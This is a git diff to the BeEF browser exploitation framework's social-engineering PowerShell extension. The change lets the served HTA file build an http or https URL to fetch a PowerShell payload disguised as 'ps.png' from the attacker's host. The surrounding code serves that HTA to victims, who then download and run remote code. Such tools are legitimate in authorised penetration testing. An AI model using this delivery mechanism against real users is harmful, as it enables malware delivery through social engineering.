diff --git a/extensions/social_engineering/powershell/bind_powershell.rb b/extensions/social_engineering/powershell/bind_powershell.rb index d6409dc5a..7584e45a9 100644 --- a/extensions/social_engineering/powershell/bind_powershell.rb +++ b/extensions/social_engineering/powershell/bind_powershell.rb @@ -30,8 +30,9 @@ module BeEF response['Content-Type'] = "application/hta" host = BeEF::Core::Configuration.instance.get('beef.http.public') || BeEF::Core::Configuration.instance.get('beef.http.host') port = BeEF::Core::Configuration.instance.get('beef.http.public_port') || BeEF::Core::Configuration.instance.get('beef.http.port') + proto = BeEF::Core::Configuration.instance.get("beef.http.https.enable") == true ? "https" : "http" ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') - payload_url = "http://#{host}:#{port}#{ps_url}/ps.png" + payload_url = "#{proto}://#{host}:#{port}#{ps_url}/ps.png" print_info "Serving HTA. Powershell payload will be retrieved from: #{payload_url}" "